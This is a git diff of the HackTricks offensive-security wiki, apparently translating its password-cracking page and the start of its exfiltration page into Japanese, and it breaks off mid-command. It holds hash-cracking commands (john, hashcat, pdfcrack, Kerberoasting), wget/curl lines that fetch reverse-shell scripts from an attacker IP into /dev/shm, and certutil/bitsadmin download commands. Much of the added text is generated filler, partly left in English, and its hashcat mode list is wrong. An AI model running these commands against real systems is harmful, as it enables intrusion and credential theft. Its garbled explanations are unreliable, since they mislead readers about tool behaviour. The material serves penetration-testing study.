ブルートフォース攻撃ツールに、パスワードの辞書ファイルを指定します。辞書ファイルには、一般的なパスワードやキーワードのリストが含まれています。 + +3. ブルートフォース攻撃ツールに、7zファイルのパスワードを解読するためのルールを指定します。ルールには、パスワードの長さや使用できる文字の種類などが含まれます。 + +4. ブルートフォース攻撃ツールを実行し、すべての可能なパスワードの組み合わせを試します。攻撃が成功すると、正しいパスワードが見つかります。 + +ブルートフォース攻撃は、時間がかかる場合があります。パスワードの長さや複雑さによっては、解読に数時間以上かかることもあります。また、ブルートフォース攻撃は、合法的な目的でのみ使用することが重要です。 ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -537,9 +1254,17 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF +PDF(Portable Document Format)は、電子文書のフォーマットであり、さまざまなプラットフォームで利用されています。PDFファイルは、テキスト、画像、図表などの情報を保持し、異なるデバイスやソフトウェアで一貫した表示を提供します。 + +PDFファイルのブルートフォース攻撃は、パスワードの総当たり攻撃を行うことを意味します。これにより、パスワードが不明なPDFファイルにアクセスすることが可能になります。 + +ブルートフォース攻撃は、一般的に辞書攻撃やランダムな文字列の組み合わせを使用して行われます。攻撃者は、パスワードの長さや文字セットに基づいて、可能な組み合わせを試行し続けます。 + +PDFファイルのブルートフォース攻撃は、パスワードが強力である場合には非常に困難です。しかし、弱いパスワードや一般的な単語の使用など、セキュリティ上の脆弱性がある場合には成功する可能性があります。 + +ブルートフォース攻撃を防ぐためには、強力なパスワードを使用することが重要です。また、2要素認証やアカウントロックなどのセキュリティ対策も有効です。 ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -548,13 +1273,11 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` +### PDFオーナーパスワード -### PDF Owner Password - -To crack a PDF Owner password check this: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +PDFオーナーパスワードをクラックするには、次を参照してください:[https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT - ```bash git clone https://github.com/Sjord/jwtcrack.git cd jwtcrack @@ -566,17 +1289,42 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john john jwt.john #It does not work with Kali-John ``` +### NTLM クラッキング -### NTLM cracking +NTLM クラッキングは、Windows ベースのシステムで使用される NTLM ハッシュを解読するための攻撃手法です。NTLM ハッシュは、ユーザーのパスワードをハッシュ化したものであり、クラッカーがこれを解読することで、パスワードを取得することができます。 +NTLM クラッキングには、以下のような手法があります。 + +1. 辞書攻撃: 事前に作成された辞書ファイルを使用して、一連のパスワード候補を試す方法です。クラッカーは、一致するハッシュを見つけるまで、辞書ファイル内のすべての単語やフレーズを試します。 + +2. ブルートフォース攻撃: すべての可能な組み合わせを試す方法です。クラッカーは、パスワードの長さや文字セットに基づいて、すべての組み合わせを順番に試します。この方法は非常に時間がかかる場合があります。 + +3. ハイブリッド攻撃: 辞書攻撃とブルートフォース攻撃を組み合わせた方法です。まず、辞書攻撃を試し、一致するハッシュが見つからない場合には、ブルートフォース攻撃に移行します。 + +NTLM クラッキングは、強力なパスワードポリシーが実装されていない場合や、弱いパスワードが使用されている場合に特に有効です。クラッカーは、高速なハッシュ関数や GPU を使用することで、クラッキングの効率を向上させることができます。 + +NTLM クラッキングに対する防御策としては、強力なパスワードポリシーの実装、多要素認証の使用、ハッシュのソルト化などがあります。これらの対策を講じることで、NTLM クラッキングのリスクを軽減することができます。 ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` +# Keepass -### Keepass +Keepassは、パスワード管理ツールであり、パスワードの保存、生成、自動入力をサポートします。Keepassは、強力な暗号化アルゴリズムを使用してパスワードデータベースを保護し、マスターパスワードを使用してアクセスを制御します。 +Keepassのブルートフォース攻撃は、マスターパスワードを特定するために使用されます。ブルートフォース攻撃は、すべての可能な組み合わせを試し、正しいパスワードを見つけるまで続けます。 + +Keepassのブルートフォース攻撃を実行するためには、次の手順を実行する必要があります。 + +1. ブルートフォース攻撃ツールを使用して、Keepassデータベースファイルを解析します。 +2. ブルートフォース攻撃ツールを使用して、マスターパスワードを特定します。 +3. ブルートフォース攻撃ツールを使用して、マスターパスワードを試行します。 +4. 正しいマスターパスワードが見つかるまで、ブルートフォース攻撃を続けます。 + +ブルートフォース攻撃は非常に時間がかかる場合があります。パスワードの長さや複雑さによっては、数日または数週間かかることもあります。また、ブルートフォース攻撃は、Keepassデータベースが強力なパスワードで保護されている場合にのみ有効です。強力なパスワードを使用することで、ブルートフォース攻撃を困難にすることができます。 + +Keepassのブルートフォース攻撃は、合法的な目的のためにのみ使用されるべきです。不正な目的で使用することは違法です。 ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -584,30 +1332,44 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` - ### Keberoasting +Keberoastingは、Active Directory(AD)環境で使用されるサービスアカウントのパスワードをクラックするための攻撃手法です。この攻撃は、Kerberos認証プロトコルの脆弱性を利用しています。 + +攻撃者は、AD環境内のサービスアカウントのユーザー名を特定し、そのユーザー名を使用してKerberosチケットを要求します。次に、攻撃者は取得したチケットをオフラインで解析し、サービスアカウントのパスワードをクラックします。 + +Keberoastingは、サービスアカウントがパスワードをハッシュ形式で保存しているために可能となります。攻撃者は、サービスアカウントのハッシュを取得し、オフラインでブルートフォース攻撃を行うことでパスワードを特定します。 + +この攻撃手法は、一般的にはドメイン内のサービスアカウントのパスワードをクラックするために使用されます。攻撃者は、クラックしたパスワードを使用して特権のあるアクセス権を取得し、システム内での横断移動や特権昇格などの攻撃を行うことができます。 + +Keberoasting攻撃を防ぐためには、サービスアカウントのパスワードを強力なものに設定し、定期的に変更することが重要です。また、サービスアカウントのハッシュを保護するために、適切なアクセス制御と監視を実施することも必要です。 ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` +### LUKSイメージ -### Lucks image - -#### Method 1 - -Install: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) +#### 方法1 +インストール: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks) ```bash bruteforce-luks -f ./list.txt ./backup.img cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` +#### 方法2 -#### Method 2 +Brute force is a common method used to crack passwords or gain unauthorized access to systems. It involves systematically trying all possible combinations of characters until the correct password is found. This method can be time-consuming and resource-intensive, but it can be effective if the password is weak or easily guessable. +There are several tools available for performing brute force attacks, such as Hydra, Medusa, and John the Ripper. These tools allow you to specify the target system, the username, and the password list to use for the attack. + +When performing a brute force attack, it is important to use a good password list that includes common passwords, dictionary words, and variations of the target's personal information. It is also recommended to use a tool that supports multi-threading, as this can significantly speed up the attack. + +It is worth noting that brute force attacks are not always successful, especially if the target system has implemented security measures such as account lockouts or CAPTCHA. Additionally, brute force attacks can be detected by intrusion detection systems, so it is important to use caution and discretion when performing this type of attack. + +Overall, brute force attacks can be a powerful tool in a hacker's arsenal, but they should be used responsibly and ethically. It is important to obtain proper authorization before attempting any brute force attack and to ensure that the target system is owned or controlled by the person or organization requesting the attack. ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -616,39 +1378,45 @@ cryptsetup luksOpen backup.img mylucksopen ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` - -Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) +別のLuks BFチュートリアル:[http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1) ### Mysql - ```bash #John hash format :$mysqlna$* dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` +### PGP/GPGの秘密鍵 -### PGP/GPG Private key +```html +PGP/GPGの秘密鍵は、暗号化とデジタル署名に使用される重要な要素です。秘密鍵は、公開鍵と対になっており、データの暗号化や署名の作成に使用されます。 +秘密鍵を保護することは非常に重要であり、漏洩すると重大なセキュリティリスクにつながります。秘密鍵を保護するためには、以下のベストプラクティスを守ることが必要です。 + +- 秘密鍵を安全な場所に保存する。物理的なアクセスが制限された場所や暗号化されたデバイスに保存することが推奨されます。 +- パスフレーズを使用して秘密鍵を保護する。強力なパスフレーズを設定し、定期的に変更することが重要です。 +- 秘密鍵を必要な場合にのみ使用する。秘密鍵を不必要に公開しないようにし、必要な場合にのみ使用するようにします。 + +秘密鍵の漏洩を防ぐためには、セキュリティ意識の高い行動が必要です。定期的なセキュリティ監査や脆弱性スキャンを実施し、セキュリティ対策を強化することが重要です。 +``` ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash ``` - ### Cisco
### DPAPI Master Key -Use [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) and then john +[https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py)を使用して、次にjohnを使用します。 ### Open Office Pwd Protected Column -If you have an xlsx file with a column protected by a password you can unprotect it: - -* **Upload it to google drive** and the password will be automatically removed -* To **remove** it **manually**: +パスワードで保護された列を持つxlsxファイルがある場合、次の手順で保護を解除できます: +* **Googleドライブにアップロード**すると、パスワードが自動的に削除されます +* **手動で**それを**削除**するには: ```bash unzip file.xlsx grep -R "sheetProtection" ./* @@ -657,76 +1425,73 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV # Remove that line and rezip the file zip -r file.xls . ``` +### PFX証明書 -### PFX Certificates +PFX証明書は、Microsoft Windowsで一般的に使用される証明書形式です。PFXは、証明書とその関連する秘密鍵を1つのファイルに結合するため、便利な形式として知られています。PFX証明書は、デジタル署名や暗号化などのセキュリティ関連の操作に使用されます。 +PFX証明書をブルートフォース攻撃する場合、以下の手順を実行します。 + +1. 辞書攻撃: 一般的なパスワードや一般的な単語のリストを使用して、PFX証明書のパスワードを推測します。 +2. ブルートフォース攻撃: 辞書攻撃が成功しなかった場合、すべての可能な組み合わせを試すために、パスワードのすべての組み合わせを総当たりで試します。これは非常に時間がかかる場合があります。 + +ブルートフォース攻撃は、パスワードの強度が弱い場合に効果的です。しかし、強力なパスワードを使用している場合は、ブルートフォース攻撃は非現実的な時間がかかる可能性があります。 ```bash # From https://github.com/Ridter/p12tool ./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt # From https://github.com/crackpkcs12/crackpkcs12 crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx ``` - ![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Tools +## ツール -**Hash examples:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) - -### Hash-identifier +**ハッシュの例:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes) +### ハッシュ識別子 ```bash hash-identifier > ``` - -### Wordlists +### ワードリスト * **Rockyou** * [**Probable-Wordlists**](https://github.com/berzerk0/Probable-Wordlists) * [**Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists) * [**Seclists - Passwords**](https://github.com/danielmiessler/SecLists/tree/master/Passwords) -### **Wordlist Generation Tools** - -* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Advanced keyboard-walk generator with configurable base chars, keymap and routes. +### **ワードリスト生成ツール** +* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** 設定可能なベース文字、キーマップ、ルートを持つ高度なキーボードウォークジェネレーター。 ```bash kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt ``` +### Johnの変異 -### John mutation - -Read _**/etc/john/john.conf**_ and configure it - +_**/etc/john/john.conf**_を読み、それを設定します。 ```bash john --wordlist=words.txt --rules --stdout > w_mutated.txt john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules ``` - ### Hashcat -#### Hashcat attacks +#### Hashcat攻撃 -* **Wordlist attack** (`-a 0`) with rules - -**Hashcat** already comes with a **folder containing rules** but you can find [**other interesting rules here**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules). +* **ワードリスト攻撃** (`-a 0`) with ルール +**Hashcat**はすでに**ルールを含むフォルダ**を持っていますが、[**ここで他の興味深いルールを見つけることができます**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules)。 ``` hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule ``` +* **ワードリスト組み合わせ**攻撃 -* **Wordlist combinator** attack - -It's possible to **combine 2 wordlists into 1** with hashcat.\ -If list 1 contained the word **"hello"** and the second contained 2 lines with the words **"world"** and **"earth"**. The words `helloworld` and `helloearth` will be generated. - +hashcatを使用して、2つのワードリストを1つに組み合わせることができます。\ +もし、リスト1に単語**"hello"**が含まれており、2つ目のリストには単語**"world"**と**"earth"**が2行含まれている場合、`helloworld`と`helloearth`という単語が生成されます。 ```bash # This will combine 2 wordlists hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt @@ -737,9 +1502,7 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt ## hello-earth! hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $! ``` - -* **Mask attack** (`-a 3`) - +* **マスク攻撃** (`-a 3`) ```bash # Mask attack with simple mask hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d @@ -771,9 +1534,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` - -* Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`) attack - +* ワードリスト + マスク (`-a 6`) / マスク + ワードリスト (`-a 7`) 攻撃 ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -781,57 +1542,149 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` +#### Hashcatモード -#### Hashcat modes +Hashcatは、さまざまなハッシュ関数をクラックするためのさまざまなモードを提供しています。以下に、一部の一般的なモードを示します。 +- **0**: Straightモード。ハッシュを直接クラックします。 +- **100**: DCCモード。DCC(Distributed Checksum Clearinghouse)ハッシュをクラックします。 +- **1400**: WPA/WPA2ハンドシェイクモード。WPA/WPA2ハンドシェイクをクラックします。 +- **1700**: Kerberos 5 TGS-REP etype 23モード。Kerberos 5 TGS-REP etype 23ハッシュをクラックします。 +- **2500**: WPA/WPA2ハンドシェイクモード(PMKID)。WPA/WPA2ハンドシェイクのPMKIDをクラックします。 +- **3000**: LMハッシュモード。LMハッシュをクラックします。 +- **5000**: MD5ハッシュモード。MD5ハッシュをクラックします。 +- **5600**: NetNTLMv1ハッシュモード。NetNTLMv1ハッシュをクラックします。 +- **10000**: NTLMハッシュモード。NTLMハッシュをクラックします。 +- **16800**: SHA-512ハッシュモード。SHA-512ハッシュをクラックします。 + +これらは、Hashcatがサポートするモードの一部です。ハッシュの種類に応じて、適切なモードを選択することが重要です。 ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` +# Cracking Linux Hashes - /etc/shadow file -Cracking Linux Hashes - /etc/shadow file +## Introduction +In Linux systems, user passwords are stored in the `/etc/shadow` file. This file contains hashed passwords, which are one-way encrypted representations of the original passwords. As a hacker, if you gain access to the `/etc/shadow` file, you can attempt to crack these hashes and obtain the original passwords. + +## Brute-Force Attack + +One common method to crack Linux hashes is through a brute-force attack. In this attack, the hacker systematically tries all possible combinations of characters until the correct password is found. This can be a time-consuming process, especially for complex passwords. + +## Dictionary Attack + +Another approach is the dictionary attack, where the hacker uses a pre-generated list of commonly used passwords or words from a dictionary. The attacker compares each word's hash with the hashes in the `/etc/shadow` file, hoping to find a match. This method is faster than brute-force, but it relies on the user choosing a weak or common password. + +## Rainbow Tables + +Rainbow tables are precomputed tables of hashes and their corresponding plaintext passwords. These tables can be used to quickly find the original password for a given hash. However, rainbow tables can be large in size and require significant storage space. + +## Online Hash Cracking Services + +There are online services available that offer hash cracking capabilities. These services utilize powerful hardware and algorithms to crack hashes quickly. However, using these services may raise ethical and legal concerns, so caution should be exercised. + +## Conclusion + +Cracking Linux hashes from the `/etc/shadow` file can be a challenging task. It requires knowledge of various cracking techniques and tools. As a hacker, it is important to understand the risks and legal implications associated with hash cracking activities. ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` +# Cracking Windows Hashes -Cracking Windows Hashes +## Introduction +In this section, we will discuss the process of cracking Windows hashes. Windows hashes are cryptographic representations of user passwords stored in the Windows operating system. By cracking these hashes, we can obtain the original plaintext passwords, which can be useful for various purposes, such as gaining unauthorized access to user accounts. + +## Methodologies + +There are several methodologies and tools available for cracking Windows hashes. Here, we will discuss two commonly used methods: brute-forcing and dictionary attacks. + +### Brute-Force Attacks + +Brute-force attacks involve systematically trying every possible combination of characters until the correct password is found. This method is time-consuming and resource-intensive, as it requires trying a large number of combinations. However, it can be effective if the password is weak and easily guessable. + +To perform a brute-force attack on Windows hashes, we can use tools like John the Ripper or Hashcat. These tools utilize powerful algorithms and techniques to speed up the cracking process. + +### Dictionary Attacks + +Dictionary attacks involve using a pre-generated list of commonly used passwords, known as a dictionary, to crack the hashes. This method is more efficient than brute-forcing, as it reduces the number of combinations to try. However, it relies on the assumption that the user has chosen a password from the dictionary. + +To perform a dictionary attack on Windows hashes, we can use tools like Hashcat or Hydra. These tools allow us to specify a dictionary file and automate the cracking process. + +## Resources + +There are various resources available to aid in the cracking of Windows hashes. These include: + +- Wordlists: These are collections of words, passwords, and common phrases that can be used in dictionary attacks. +- Rainbow tables: These are precomputed tables that map hashes to their corresponding plaintext passwords, making the cracking process faster. +- Online databases: Some websites provide databases of leaked passwords, which can be used to crack Windows hashes. + +By utilizing these resources and employing the appropriate methodologies, we can increase our chances of successfully cracking Windows hashes and obtaining the original passwords. However, it is important to note that cracking Windows hashes without proper authorization is illegal and unethical. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` +# Cracking Common Application Hashes -Cracking Common Application Hashes +## Introduction +In this section, we will discuss the process of cracking common application hashes. Hash cracking is a technique used to recover plaintext passwords from their hashed representations. By cracking the hashes, we can gain unauthorized access to various applications and systems. + +## Types of Hashes + +There are several types of hashes commonly used in applications. Some of the most common ones include: + +- **MD5**: This is a widely used hash function that produces a 128-bit hash value. It is commonly used in older applications and systems. +- **SHA-1**: This is another widely used hash function that produces a 160-bit hash value. It is also commonly used in older applications and systems. +- **SHA-256**: This is a more secure hash function that produces a 256-bit hash value. It is commonly used in modern applications and systems. + +## Hash Cracking Techniques + +There are various techniques that can be used to crack hashes. Some of the most common ones include: + +- **Brute Force**: This technique involves trying all possible combinations of characters until the correct password is found. It is a time-consuming process but can be effective for cracking weak passwords. +- **Dictionary Attack**: This technique involves using a pre-generated list of commonly used passwords, known as a dictionary, to crack the hash. It is faster than brute force but may not be effective against complex passwords. +- **Rainbow Tables**: This technique involves using precomputed tables of hash values and their corresponding plaintext passwords to crack the hash. It is faster than brute force and dictionary attacks but requires a large amount of storage. + +## Tools for Hash Cracking + +There are several tools available for cracking hashes. Some of the most popular ones include: + +- **John the Ripper**: This is a powerful password cracking tool that supports various hash types and cracking techniques. +- **Hashcat**: This is another popular password cracking tool that supports a wide range of hash types and cracking techniques. +- **Hydra**: This is a versatile online password cracking tool that supports various protocols and can be used for hash cracking. + +## Conclusion + +Cracking common application hashes is an essential skill for hackers and penetration testers. By understanding the different types of hashes, cracking techniques, and tools available, you can effectively gain unauthorized access to applications and systems. However, it is important to note that hash cracking should only be performed with proper authorization and for legitimate purposes. ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
![](<../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.io/) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.io/)を使用して、世界で最も**高度なコミュニティツール**によって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index de81c8c35..9e6da2268 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -1,55 +1,48 @@ -# Exfiltration +# 情報の外部流出
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +\ +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} -## Commonly whitelisted domains to exfiltrate information +## 情報を外部に流出させるための一般的にホワイトリストに登録されているドメイン -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains taht can be abused +[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されているドメインを見つけてください。 -## Copy\&Paste Base64 +## コピー&ペースト Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - **Windows** - ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP **Linux** - ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - **Windows** - ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf 